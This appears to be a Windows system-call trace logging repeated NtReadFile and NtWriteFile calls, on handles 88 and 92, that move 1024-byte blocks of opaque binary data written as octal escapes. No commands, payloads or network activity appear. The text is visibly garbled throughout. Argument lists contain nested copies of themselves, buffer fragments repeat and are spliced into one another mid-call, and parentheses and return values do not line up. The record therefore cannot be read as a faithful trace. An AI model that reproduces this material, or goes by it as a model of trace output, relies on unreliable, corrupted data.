\301\24\217\305%\2462>\236\313+\14\17\354\3160720\216\370\3277?\371\5\332<\275-\334\372\34\15\27\37#\317\303#`\26\204G)>k\30\315HS\34\264\261\24\276\271\337[\279\260\373\20}\16\264\377\14].[\5"q\21\14\205Ij\24>\301\301\32\14\21~\307\2541\274`\7Etz\177\12\325:\20u\15\324TQ.\311\304\1#\347x+\240\37"(+:\246\250\11\374\355\265Ib\3336\07\31\264\35\335;?l\265\277\32][?^$\265\6\236g\253Nu\3009\353(\250n\240niaZ\333\313g\177\271tx\264:\33+]\277\2U\223\17\367\351!\335\321\212\322\367\14\321\242\12\372\247\332\245\322!\25\227\2706\377\306\24\313\2355\205q=>>\243]\35\35$\350T"!\227$f\244\320rV#\330\225O\3270JN\307\260}\355B\32\257>\10\374\211:\376^\253\31\276w\350qJ\273\245p\317<@Z\352\368G+\316\5\3122D\\321\13\340YZ;!]\3669?\1\5]%}\215+\332\246\14o\2464\255\326%\257F\264\345\365\360\3\204\264=\320\2604\372<\347\e\337\34\222\211\36\34\252\267\261\242D[wu@\354\266\312\354\11 \32", ) k\321\34v=\265\267498\261\2378\253\345\336\33\374\4\277\376 \301\24\217\305%\2462>\236\313+\14\17\354\3160720\216\370\3277?\371\5\332<\275-\334\372\34\15\27\37#\317\303#`\26\204G)>k\30\315HS\34\264\261\24\276\271\337[\279\260\373\20}\16\264\377\14].[\5 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "St\35p\311$\5dK\343k*(*(\304\257d/aa\315\3447\360\366< \45\34\374*~q\24\203\336\33\226nI\242J\240\376)\243\227&\202C \267\224 a\244=?\300?=g6\115#<\0\265\360\363\241t?S~M\302(\325\364if&12)\304\25\16\6r?*2\334\251\31\350Z+\373;\2143\263\342\331\17F\37\33\342\12_\323$ed\303(d\312+=l'"k\321\34v=\265\267498\261\2378\253\345\336\33\374\4\277\376 \301\24\217\305%\2462>\236\313+\14\17\354\3160720\216\370\3277?\371\5\332<\275-\334\372\34\15\27\37#\317\303#`\26\204G)>k\30\315HS\34\264\261\24\276\271\337[\279\260\373\20}\16\264\377\14].[\5"q\21\14\205Ij\24>\301\301\32\14\21~\307\2541\274`\7Etz\177\12\325:\20u\15\324TQ.\311\304\1#\347x+\240\37"(+:\246\250\11\374\355\265Ib\3336\07\31\264\35\335;?l\265\277\32][?^$\265\6\236g\253Nu\3009\353(\250n\240niaZ\333\313g\177\271tx\264:\33+]\277\2U\223\17\367\351!\335\321\212\322\367\14\321\242\12\372\247\332\245\322!\25\227\2706\377\306\24\313\2355\205q=>>\243]\35\35$\350T"!\227$f\244\320rV#\330\225O\3270JN\307\260}\355B\32\257>\10\374\211:\376^\253\31\276w\350qJ\273\245p\317<@Z\352\368G+\316\5\3122D\\321\13\340YZ;!]\3669?\1\5]%}\215+\332\246\14o\2464\255\326%\257F\264\345\365\360\3\204\264=\320\2604\372<\347\e\337\34\222\211\36\34\252\267\261\242D[wu@\354\266\312\354\11 \32", ) (+:\246\250\11\374\355\265Ib\3336\07\31\264\35\335;?l\265\277\32][?^$\265\6\236g\253Nu\3009\353(\250n\240niaZ\333\313g\177\271tx\264:\33+]\277\2U\223\17\367\351!\335\321\212\322\367\14\321\242\12\372\247\332\245\322!\25\227\2706\377\306\24\313\2355\205q=>>\243]\35\35$\350T (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "St\35p\311$\5dK\343k*(*(\304\257d/aa\315\3447\360\366< \45\34\374*~q\24\203\336\33\226nI\242J\240\376)\243\227&\202C \267\224 a\244=?\300?=g6\115#<\0\265\360\363\241t?S~M\302(\325\364if&12)\304\25\16\6r?*2\334\251\31\350Z+\373;\2143\263\342\331\17F\37\33\342\12_\323$ed\303(d\312+=l'"k\321\34v=\265\267498\261\2378\253\345\336\33\374\4\277\376 \301\24\217\305%\2462>\236\313+\14\17\354\3160720\216\370\3277?\371\5\332<\275-\334\372\34\15\27\37#\317\303#`\26\204G)>k\30\315HS\34\264\261\24\276\271\337[\279\260\373\20}\16\264\377\14].[\5"q\21\14\205Ij\24>\301\301\32\14\21~\307\2541\274`\7Etz\177\12\325:\20u\15\324TQ.\311\304\1#\347x+\240\37"(+:\246\250\11\374\355\265Ib\3336\07\31\264\35\335;?l\265\277\32][?^$\265\6\236g\253Nu\3009\353(\250n\240niaZ\333\313g\177\271tx\264:\33+]\277\2U\223\17\367\351!\335\321\212\322\367\14\321\242\12\372\247\332\245\322!\25\227\2706\377\306\24\313\2355\205q=>>\243]\35\35$\350T"!\227$f\244\320rV#\330\225O\3270JN\307\260}\355B\32\257>\10\374\211:\376^\253\31\276w\350qJ\273\245p\317<@Z\352\368G+\316\5\3122D\\321\13\340YZ;!]\3669?\1\5]%}\215+\332\246\14o\2464\255\326%\257F\264\345\365\360\3\204\264=\320\2604\372<\347\e\337\34\222\211\36\34\252\267\261\242D[wu@\354\266\312\354\11 \32", ) , ) == 0x0
 01247  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\4\360/\7\26\302\361)dhJ\220n\266\310\345\357\213\254)\24\3417\333\326\271\2\345\361\16\311\225c\356\266E\3724qcP@\32\273NV\316M~\264,\233\241A\3309\312\241\217W\2\233\10N\250B\177\254D\24d\250!,c\2323\374p\215\265\217\233d\227\26\2577VK\335\322\354>\325\307\223Y\267\17<\213\264\17\350x\261\23040\21\235\34\252\34\305;\325\214\252\177~jCK\346cUo\351\351\35\257:\2624\210\236\251\16\372\362\247\377N\232HtA\306'U6\3035\322`\32\363\307\7d\350_\30\237\344+\35\222Z.\6s\246\264\20\305\260\212b-_\270\354\336\w\352z\200\231\26y\260\345\221\350N\371\21\4CD4LvL&\353)\205h\32\201\17<\335e\321\320\322\374z\356\341\17\310\7\376`\13x\357wC'\315\201\3\350\274\354\371\2\215bZw<\233A"\203\333\30/\221\243/\6N\352\37\263L\361\230\2460\13\177e\241\223\342\354\355\341\6\13x\270\350\254\232k\324@\243b\353,\235\354%\225\214g%%!\267\277\13\363\340\257\315\33\\362\16FW-\357\203\36\37\313\257`\363I\207>\315\324I\327(\31\1\361)\374\235zn\377\23K$\347.T\236\326\200\334A=/@\5y\372\13'\11\245\306o\17ee\32-9\257=\13H\323\35\14\371qt\304\2403g\240\316\310\356\317\203\276\251W\2536z\234\11\236Sw"|\6\211!\36\372\313\12C\244}\313\377\241\206\13\245\333\11\335\14\375\256\222(\325~\306\316\335\305\361j\7X\253&\7\24O\0\363\274\324{\323\247u\2470^\206\200\252/\373\231\213\327\327\234\272?\7\244i\334u=\375\275\326J<\33\205\17\14\253.\15\325-\31\233\277m\331G\245\352\222z\256\266K\254\264", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \203\333\30/\221\243/\6N\352\37\263L\361\230\2460\13\177e\241\223\342\354\355\341\6\13x\270\350\254\232k\324@\243b\353,\235\354%\225\214g%%!\267\277\13\363\340\257\315\33\\362\16FW-\357\203\36\37\313\257`\363I\207>\315\324I\327(\31\1\361)\374\235zn\377\23K$\347.T\236\326\200\334A=/@\5y\372\13'\11\245\306o\17ee\32-9\257=\13H\323\35\14\371qt\304\2403g\240\316\310\356\317\203\276\251W\2536z\234\11\236Sw (92, 0, 0, 0, "\4\360/\7\26\302\361)dhJ\220n\266\310\345\357\213\254)\24\3417\333\326\271\2\345\361\16\311\225c\356\266E\3724qcP@\32\273NV\316M~\264,\233\241A\3309\312\241\217W\2\233\10N\250B\177\254D\24d\250!,c\2323\374p\215\265\217\233d\227\26\2577VK\335\322\354>\325\307\223Y\267\17<\213\264\17\350x\261\23040\21\235\34\252\34\305;\325\214\252\177~jCK\346cUo\351\351\35\257:\2624\210\236\251\16\372\362\247\377N\232HtA\306'U6\3035\322`\32\363\307\7d\350_\30\237\344+\35\222Z.\6s\246\264\20\305\260\212b-_\270\354\336\w\352z\200\231\26y\260\345\221\350N\371\21\4CD4LvL&\353)\205h\32\201\17<\335e\321\320\322\374z\356\341\17\310\7\376`\13x\357wC'\315\201\3\350\274\354\371\2\215bZw<\233A"\203\333\30/\221\243/\6N\352\37\263L\361\230\2460\13\177e\241\223\342\354\355\341\6\13x\270\350\254\232k\324@\243b\353,\235\354%\225\214g%%!\267\277\13\363\340\257\315\33\\362\16FW-\357\203\36\37\313\257`\363I\207>\315\324I\327(\31\1\361)\374\235zn\377\23K$\347.T\236\326\200\334A=/@\5y\372\13'\11\245\306o\17ee\32-9\257=\13H\323\35\14\371qt\304\2403g\240\316\310\356\317\203\276\251W\2536z\234\11\236Sw"|\6\211!\36\372\313\12C\244}\313\377\241\206\13\245\333\11\335\14\375\256\222(\325~\306\316\335\305\361j\7X\253&\7\24O\0\363\274\324{\323\247u\2470^\206\200\252/\373\231\213\327\327\234\272?\7\244i\334u=\375\275\326J<\33\205\17\14\253.\15\325-\31\233\277m\331G\245\352\222z\256\266K\254\264", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01248  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "C\265Jy-cjmV[\11\22]8\234\330#VC\324\276\343\243h9)\353X\177\2179\2642\36246^3998;\303(\366\345\31\35\236\332\231$\240H#2\256\326O\234\250\1#}EB\256&g\315&\304u\35559Q\246\5?;\216>\33\12\226\346\234\3449\247\334\274QSp(\31*\23FI\2567p'6\333\345\265s\264x\375\6\262x\31\22\376\26\31It\21\240s&c\4\375\346.{lk\13\324m9*\330\230\360:( \366> \372\32)|\34*U\10I\335\13\20\340 -\343\7\21\247y/\212+\17-\235\30403\363&\274\264\271\212Z\230}2h\34\220i\266o\"C]\300a\22m \315\315\7\244\244~e\36\315\26430\2\351\2225KtW\230\2734k\267\362\36\330;\4\34\366\234@\202\242\26+\250x7Dx\241\350\36z}\307\356Kr8u\13v|\254\23><,\237>{\273\354\375~,\362t\3\10\241%\375q^6\240'\6\37.\347D>\262\312>A<7\270\3007O9\275\307c\33i\31\340\337\23\363`\30l\366T\306J\4\272\0\257\353B\12\360?>\363\33\335\210\27~\2622\227\251\321<\220\274\0\16\22\7l\34&|\22\377\226"\374<\316'\264\30\212\32\210\34\206\360\201\3\207\5\215\7\367\119\376\12\364\14\356\16\317-\35\302.\300\20:\20\24\26&c\33}\31s\37U\32/\244\5\256\7\220\1\232\38\215\16\363\10\331\12\323/\34\351*\343\24%\27/\21P!\25\350\300{(x\35z\307l2\224S4\33fwn28\21\274>b\33GL\226\325\227\310\336\13`", ) C]\300a\22m \315\315\7\244\244~e\36\315\26430\2\351\2225KtW\230\2734k\267\362\36\330;\4\34\366\234@\202\242\26+\250x7Dx\241\350\36z}\307\356Kr8u\13v|\254\23><,\237>{\273\354\375~,\362t\3\10\241%\375q^6\240'\6\37.\347D>\262\312>A<7\270\3007O9\275\307c\33i\31\340\337\23\363`\30l\366T\306J\4\272\0\257\353B\12\360?>\363\33\335\210\27~\2622\22266+\36O\16\36$\350\217\326\17\314\326+\210\31@\233.\15?+\30a\332\311%;>7\251\321<\220\274\0\16\22\7l\34&|\22\377\226 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "C\265Jy-cjmV[\11\22]8\234\330#VC\324\276\343\243h9)\353X\177\2179\2642\36246^3998;\303(\366\345\31\35\236\332\231$\240H#2\256\326O\234\250\1#}EB\256&g\315&\304u\35559Q\246\5?;\216>\33\12\226\346\234\3449\247\334\274QSp(\31*\23FI\2567p'6\333\345\265s\264x\375\6\262x\31\22\376\26\31It\21\240s&c\4\375\346.{lk\13\324m9*\330\230\360:( \366> \372\32)|\34*U\10I\335\13\20\340 -\343\7\21\247y/\212+\17-\235\30403\363&\274\264\271\212Z\230}2h\34\220i\266o\"C]\300a\22m \315\315\7\244\244~e\36\315\26430\2\351\2225KtW\230\2734k\267\362\36\330;\4\34\366\234@\202\242\26+\250x7Dx\241\350\36z}\307\356Kr8u\13v|\254\23><,\237>{\273\354\375~,\362t\3\10\241%\375q^6\240'\6\37.\347D>\262\312>A<7\270\3007O9\275\307c\33i\31\340\337\23\363`\30l\366T\306J\4\272\0\257\353B\12\360?>\363\33\335\210\27~\2622\227\251\321<\220\274\0\16\22\7l\34&|\22\377\226"\374<\316'\264\30\212\32\210\34\206\360\201\3\207\5\215\7\367\119\376\12\364\14\356\16\317-\35\302.\300\20:\20\24\26&c\33}\31s\37U\32/\244\5\256\7\220\1\232\38\215\16\363\10\331\12\323/\34\351*\343\24%\27/\21P!\25\350\300{(x\35z\307l2\224S4\33fwn28\21\274>b\33GL\226\325\227\310\336\13`", ) , ) == 0x0
 01249  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\22CW\214#A\351\27\34\371\234\177\323\332u\352\374\355\2469\3661n\336\323\371WL\222'\342\211\354a\315^c<\32\322\205*\232Qv\354\362[\266LA\254_\3737\331Dq\12\31\357C=\314gu\276\5r\315t\367\5\271\244\304p\347\322^\233\26\257\207\222y/\221E\3\13q\262\6\202\333\256\341\1j\366S\360\202o\11\255\325\303\355\340\177&C\264v\325Rg\26\333\320D\12\367\367\21\370\332B\204f\201\245@\206\245ok\2Eb\310\364s\300\343\6\349W\344\235\364\271q\10\261{\346ev\247\333\210\217\\252\213\220bv\37\30\252<\211c\301\364\301\331\22\274{\224\33\201\3327N\246\242\230\337\326b\225#FJX\36\340\350I,\hXw\310\251\274\271TJ\13T\341\317@pU}\347\347\207\303C\332b\33\30\314\337\241<\34b\327\224\11`\246\355\337\37\343C\343_J\271\364l\20\230\340\347V\273\315\207w!\234\320Y\332\2679\315\314\272\203\263\377\327\350\255\310\247\332\2603\347\3p\204\346\264\221\264\314\20\314\325V\305\15\345\2168\3\16\230"\360\11\322\267\256\5\322\24i\371\204S\371\312\237\36\2\313\220\276\277\255\356\2229\234\360\350K\370\372p\275$\323\235\10_F\35\262\304\250\15;\366*\310\254\236HD.\262\352S\336\32(|\361\343\241\375  \326\36\270\\342\236?\24\307\227\334\305A{D\255 /9\240\302-\26\355\241\235\6\321V\364\243^\347@=#~s\233\256\234\4\22T\335\227u;|pZ\322\357\334Y\221\36\20^:>+\224\24y\320=\327\360\231lI\334\315\2N\370\343\203\237\257\326U5\1\267\330\332o\205\347\3576t\237\341C\2309\361\360\2661\10\11)\201"\364_\276\336\206\0\317\310\331\344/\236\253\346", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \360\11\322\267\256\5\322\24i\371\204S\371\312\237\36\2\313\220\276\277\255\356\2229\234\360\350K\370\372p\275$\323\235\10_F\35\262\304\250\15;\366*\310\254\236HD.\262\352S\336\32(|\361\343\241\375  \326\36\270\\342\236?\24\307\227\334\305A{D\255 /9\240\302-\26\355\241\235\6\321V\364\243^\347@=#~s\233\256\234\4\22T\335\227u;|pZ\322\357\334Y\221\36\20^:>+\224\24y\320=\327\360\231lI\334\315\2N\370\343\203\237\257\326U5\1\267\330\332o\205\347\3576t\237\341C\2309\361\360\2661\10\11)\201 (92, 0, 0, 0, "\22CW\214#A\351\27\34\371\234\177\323\332u\352\374\355\2469\3661n\336\323\371WL\222'\342\211\354a\315^c<\32\322\205*\232Qv\354\362[\266LA\254_\3737\331Dq\12\31\357C=\314gu\276\5r\315t\367\5\271\244\304p\347\322^\233\26\257\207\222y/\221E\3\13q\262\6\202\333\256\341\1j\366S\360\202o\11\255\325\303\355\340\177&C\264v\325Rg\26\333\320D\12\367\367\21\370\332B\204f\201\245@\206\245ok\2Eb\310\364s\300\343\6\349W\344\235\364\271q\10\261{\346ev\247\333\210\217\\252\213\220bv\37\30\252<\211c\301\364\301\331\22\274{\224\33\201\3327N\246\242\230\337\326b\225#FJX\36\340\350I,\hXw\310\251\274\271TJ\13T\341\317@pU}\347\347\207\303C\332b\33\30\314\337\241<\34b\327\224\11`\246\355\337\37\343C\343_J\271\364l\20\230\340\347V\273\315\207w!\234\320Y\332\2679\315\314\272\203\263\377\327\350\255\310\247\332\2603\347\3p\204\346\264\221\264\314\20\314\325V\305\15\345\2168\3\16\230"\360\11\322\267\256\5\322\24i\371\204S\371\312\237\36\2\313\220\276\277\255\356\2229\234\360\350K\370\372p\275$\323\235\10_F\35\262\304\250\15;\366*\310\254\236HD.\262\352S\336\32(|\361\343\241\375  \326\36\270\\342\236?\24\307\227\334\305A{D\255 /9\240\302-\26\355\241\235\6\321V\364\243^\347@=#~s\233\256\234\4\22T\335\227u;|pZ\322\357\334Y\221\36\20^:>+\224\24y\320=\327\360\231lI\334\315\2N\370\343\203\237\257\326U5\1\267\330\332o\205\347\3576t\237\341C\2309\361\360\2661\10\11)\201"\364_\276\336\206\0\317\310\331\344/\236\253\346", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01250  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "&\253\264\375?8AL\227=\224\256\272Fu}8:\271\375K#\220R\35\26\247!!!\246\355\254&a,]/\303\216*\323o\317\270t?\277\3627y~\2712\276\374I\7\327\225\34;\36O\253g.s\314\325(w\325\326\251\357-\7\15/ra33v\266H?\270=\272\266\10x\305"\333\300\37lp\201\247c9\1\2_\10\240:\245\326--/2\31\273\215\274\31364\270\3\263\255:\275o\267\222\232\27\276\37\241\347,\203$\246\206\37)\245\241\354rvq\211'\322\15+\7-9\263x\316?;>\16\367\177\25$M\227S\4\1B6\4\305&\3\212{\252+\0}x\17\20u\22\23\25\2657\17\307,\246\272:y\325?\375\22\325\277&\253/+Z$\2068\254\340^d\247y\12'\27\272?\26111\2602<\250??\2408:\230N\31\31\254\32$\234''\354 "\364\255).\324\272-T\17Yp404(WKZEYGX=BZgzaycH!^JXOZLTE*WAQ@S_M\27\24*\275k\30>~;\30!\2651[\237\330\12\33\33\340\30288*\252(\326\351\325\324z\322;\3533\23B0\30u\361$5\233\7\210\214>a\217\233\35@\365\35\220 \251c8\254V&vrH\25\255\351\212\3574\257\211\23\25q6"\3079:\273\200=}?\22<\30\215\6&\211" \24 \206\207(\211+*\14\207\206*\20\2017\23\2140\26\367=)x\3639\277(?\30\224\30\234\357\205$\30\330!5%\232,9!.<\2070 0>2\354;597795;s\25\177\337~\5\2\207\335p\22|\14$&\246\304!\273~\27~\245\2631\310f4\34\354\314, ) \333\300\37lp\201\247c9\1\2_\10\240:\245\326--/2\31\273\215\274\31364\270\3\263\255:\275o\267\222\232\27\276\37\241\347,\203$\246\206\37)\245\241\354rvq\211'\322\15+\7-9\263x\316?;>\16\367\177\25$M\227S\4\1B6\4\305&\3\212{\252+\0}x\17\20u\22\23\25\2657\17\307,\246\272:y\325?\375\22\325\277&\253/+Z$\2068\254\340^d\247y\12'\27\272?\26111\2602<\250??\2408:\230N\31\31\254\32$\234''\354  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "&\253\264\375?8AL\227=\224\256\272Fu}8:\271\375K#\220R\35\26\247!!!\246\355\254&a,]/\303\216*\323o\317\270t?\277\3627y~\2712\276\374I\7\327\225\34;\36O\253g.s\314\325(w\325\326\251\357-\7\15/ra33v\266H?\270=\272\266\10x\305"\333\300\37lp\201\247c9\1\2_\10\240:\245\326--/2\31\273\215\274\31364\270\3\263\255:\275o\267\222\232\27\276\37\241\347,\203$\246\206\37)\245\241\354rvq\211'\322\15+\7-9\263x\316?;>\16\367\177\25$M\227S\4\1B6\4\305&\3\212{\252+\0}x\17\20u\22\23\25\2657\17\307,\246\272:y\325?\375\22\325\277&\253/+Z$\2068\254\340^d\247y\12'\27\272?\26111\2602<\250??\2408:\230N\31\31\254\32$\234''\354 "\364\255).\324\272-T\17Yp404(WKZEYGX=BZgzaycH!^JXOZLTE*WAQ@S_M\27\24*\275k\30>~;\30!\2651[\237\330\12\33\33\340\30288*\252(\326\351\325\324z\322;\3533\23B0\30u\361$5\233\7\210\214>a\217\233\35@\365\35\220 \251c8\254V&vrH\25\255\351\212\3574\257\211\23\25q6"\3079:\273\200=}?\22<\30\215\6&\211" \24 \206\207(\211+*\14\207\206*\20\2017\23\2140\26\367=)x\3639\277(?\30\224\30\234\357\205$\30\330!5%\232,9!.<\2070 0>2\354;597795;s\25\177\337~\5\2\207\335p\22|\14$&\246\304!\273~\27~\245\2631\310f4\34\354\314, ) \3079:\273\200=}?\22<\30\215\6&\211 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "&\253\264\375?8AL\227=\224\256\272Fu}8:\271\375K#\220R\35\26\247!!!\246\355\254&a,]/\303\216*\323o\317\270t?\277\3627y~\2712\276\374I\7\327\225\34;\36O\253g.s\314\325(w\325\326\251\357-\7\15/ra33v\266H?\270=\272\266\10x\305"\333\300\37lp\201\247c9\1\2_\10\240:\245\326--/2\31\273\215\274\31364\270\3\263\255:\275o\267\222\232\27\276\37\241\347,\203$\246\206\37)\245\241\354rvq\211'\322\15+\7-9\263x\316?;>\16\367\177\25$M\227S\4\1B6\4\305&\3\212{\252+\0}x\17\20u\22\23\25\2657\17\307,\246\272:y\325?\375\22\325\277&\253/+Z$\2068\254\340^d\247y\12'\27\272?\26111\2602<\250??\2408:\230N\31\31\254\32$\234''\354 "\364\255).\324\272-T\17Yp404(WKZEYGX=BZgzaycH!^JXOZLTE*WAQ@S_M\27\24*\275k\30>~;\30!\2651[\237\330\12\33\33\340\30288*\252(\326\351\325\324z\322;\3533\23B0\30u\361$5\233\7\210\214>a\217\233\35@\365\35\220 \251c8\254V&vrH\25\255\351\212\3574\257\211\23\25q6"\3079:\273\200=}?\22<\30\215\6&\211" \24 \206\207(\211+*\14\207\206*\20\2017\23\2140\26\367=)x\3639\277(?\30\224\30\234\357\205$\30\330!5%\232,9!.<\2070 0>2\354;597795;s\25\177\337~\5\2\207\335p\22|\14$&\246\304!\273~\27~\245\2631\310f4\34\354\314, ) , ) == 0x0
 01251  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "*\356\236\267YT\370\332\210\355\251\271\231C\20b\266\347\241e\330h\355\225\347\263\201\305p9[\333\234\312E~5vU}UR\234T\373_w\202)n\341\367\301N\247a\205\262\210\360\256\326\365\351\35\375Y\303\3229W\2347\356\223\36ZBS\345b\233\35\344\221\226\314\377\223i6'\221P\201\230K\275\13/7\341\357\207PK\320\227\330\272\220+\370A\245\324\307\10\33(\356\17\262X\1\256\244\352\213Fh\3\322\244\343k\376*q\245\307\304-o\34!I\267\215\350N\212\237\253\345\367\332UK\313\320\271Dj\32bA\13\372\374\224g|\21\304\307\13\33Ft\235\237\311\1\366~\335\367\335\31\272\355\254\242\304\325K*\266\250/\337l\351\262\375S\342\321\344\322\225\362\342\1449u\300K\371\301\3513\2770XI~\12\203\2'T\273uB\36|\22VEajb\3756\362\244\1\247\266\347\21V\257\252yR\14\360\304~:\243\68\346\327+\213\3360\371\"F\313\24\353\34  _\303s\315<'\350|P\345\272\370\203\245\327\377\231\325\235\246U~\262\34\15\233\372^\370\16\351\245\274\322\10\334d\315l\243\204\20A\334\312\202\321\200\312\274\231@\356\263r\334xl\344\277<\226\315\376\3\4\344 \222[b:*\374b\266P\327"j\223\\215\336\331\303FZ\336\25R\21\304\230\20\222\251\265\250\373\377W\20@O\311\16\266\333\317\221\266\315\300\37\203\266\356R5\223\251:\353\32\310\36\0|$Z.$8\366\370&7\32\36\275\214]\1\330\376\202\255\36\5F\3733\331\205\315u\340\342%V\226.!\16|\331\20\30\314K\223\226\257\3016\20y\323v\311L\216\32\374Fp:a\335Yd\14\0~\377\2610\313@F9\326\21I\243VP\3171\217\276W\2065", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) F\313\24\353\34  _\303s\315<'\350|P\345\272\370\203\245\327\377\231\325\235\246U~\262\34\15\233\372^\370\16\351\245\274\322\10\334d\315l\243\204\20A\334\312\202\321\200\312\274\231@\356\263r\334xl\344\277<\226\315\376\3\4\344 \222[b:*\374b\266P\327 (92, 0, 0, 0, "*\356\236\267YT\370\332\210\355\251\271\231C\20b\266\347\241e\330h\355\225\347\263\201\305p9[\333\234\312E~5vU}UR\234T\373_w\202)n\341\367\301N\247a\205\262\210\360\256\326\365\351\35\375Y\303\3229W\2347\356\223\36ZBS\345b\233\35\344\221\226\314\377\223i6'\221P\201\230K\275\13/7\341\357\207PK\320\227\330\272\220+\370A\245\324\307\10\33(\356\17\262X\1\256\244\352\213Fh\3\322\244\343k\376*q\245\307\304-o\34!I\267\215\350N\212\237\253\345\367\332UK\313\320\271Dj\32bA\13\372\374\224g|\21\304\307\13\33Ft\235\237\311\1\366~\335\367\335\31\272\355\254\242\304\325K*\266\250/\337l\351\262\375S\342\321\344\322\225\362\342\1449u\300K\371\301\3513\2770XI~\12\203\2'T\273uB\36|\22VEajb\3756\362\244\1\247\266\347\21V\257\252yR\14\360\304~:\243\68\346\327+\213\3360\371\"F\313\24\353\34  _\303s\315<'\350|P\345\272\370\203\245\327\377\231\325\235\246U~\262\34\15\233\372^\370\16\351\245\274\322\10\334d\315l\243\204\20A\334\312\202\321\200\312\274\231@\356\263r\334xl\344\277<\226\315\376\3\4\344 \222[b:*\374b\266P\327"j\223\\215\336\331\303FZ\336\25R\21\304\230\20\222\251\265\250\373\377W\20@O\311\16\266\333\317\221\266\315\300\37\203\266\356R5\223\251:\353\32\310\36\0|$Z.$8\366\370&7\32\36\275\214]\1\330\376\202\255\36\5F\3733\331\205\315u\340\342%V\226.!\16|\331\20\30\314K\223\226\257\3016\20y\323v\311L\216\32\374Fp:a\335Yd\14\0~\377\2610\313@F9\326\21I\243VP\3171\217\276W\2065", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01252  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\37\273)\1\2"\334\4\246'Y\250*-\13\354/.34\377)t5\2464\270\6\6\373<<\25\177\308\30\247>!\1773\243$\3039\216\350(\225?-*2\161(\222&\23460=\240\372:=\15,j;\20\337\210yC l3\241%\346R/\231+\243j=.q\363\367t#44\4!\370\370\5j4l^7\221Z\15\36\233\340U>\250j)\253\326\311\6{\303h\355<\16\17q\2\3613\325hn\373\12\372\273\266\377W\255\230\34\34^\2\252\300w\342&0\244!\30K\241P.\4x}\227\2611B\332\3644\253\271\7c\5\260\355\7\337%\34\266!\254\37\370\35\305\33'\330\227-\331*)\250--/5\1>\3s\5y\78H\12G\14\264\16\367+\34\315.\354\20!#\2265\27>\31p\352\21\210\34\300/\1;\0V\6\257\4\337S\332>\3242\3340\205\34\354\33[\356$\316,\306*M\326$\35\302$\223\311#\325\276/\336<\333cz&2\3277\3255\3363\360\211\361\22\25\37\371.\26\225#%O&&\243\341\302\201,\221\322\320`", ) \334\4\246'Y\250*-\13\354/.34\377)t5\2464\270\6\6\373<<\25\177\308\30\247>!\1773\243$\3039\216\350(\225?-*2\161(\222&\23460=\240\372:=\15,j;\20\337\210yC l3\241%\346R/\231+\243j=.q\363\367t#44\4!\370\370\5j4l^7\221Z\15\36\233\340U>\250j)\253\326\311\6{\303h\355<\16\17q\2\3613\325hn\373\12\372\27323\307\255~/\303\262sE*\302\267)H%\203\225--\310`\1af\275d\36\\2317\13?'\159\222Z\37\31\257\322\265\21$'\325.\2551k\371\223\233(\15\365Z5\2125Q\30!e\315i\311#\333\314\15\1_\273W\225\276T\340e\35\367\304\236&$\10)\17\247\4--+P\223&3\226q\6\235`)I\263\274\242\206\373?\4\357\202$\361\275\223\277Tj\2h\14k\16\7\36\5\32\35hy\26\373TA\316\5E\366\31\32>\266\377W\255\230\34\34^\2363\347\206\361\211)\270\11C0{\2153i\2203\327Wv\31\32}S\21,\334;\3339\201\302_>\252\300w\342&0\244!\30K\241P.\4x}\227\2611B\332\3644\253\271\7c\5\260\355\7\337%\34\266!\254\37\370\35\305\33'\330\227-\331*)\250--/5\1>\3s\5y\78H\12G\14\264\16\367+\34\315.\354\20!#\2265\27>\31p\352\21\210\34\300/\1;\0V\6\257\4\337S\332>\3242\3340\205\34\354\33[\356$\316,\306*M\326$\35\302$\223\311#\325\276/\336<\333cz&2\3277\3255\3363\360\211\361\22\25\37\371.\26\225#%O&&\243\341\302\201,\221\322\320`", ) == 0x0
 01253  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\371\243k\272\356\263@\205\245'\323\4T@L6\10"P!7\372|8+y\237\374\373\231^\26\305\370\13jd'\305\211\1q\211\373'\313\362\273\26\303\273\313MO\237\5\365\304\324\221l\256\344\202cn\2\234\320I\204\237\273.\202\27#\34\202\254\316a\23&\233\343C\217JC\340\331\32m\360\375\206+\3679\360~;\311\301Y$\374\223!\271\372\345F\202\30\24pTj\26\1>\345\362\256\344\107V\263DtO\254\226\376\241\21\213\371\4\345<\3512DP\300H\270\371\356E|W\213N\324\360}\333U\351\16\373\223\332\230`3\376\305\321\11{X\255KD\206\222\217\256\240\33\34\242L\266\346\265|\210\353\25L\16l]\\12[r?\251(\264@\215q\343v\274\223\356/\34\243?0\330\241\301\263\335c\260]\215\205\33\3\20\205\333w?g\315P:\3436\376\273\37W\357\376eL\11\33\320\362 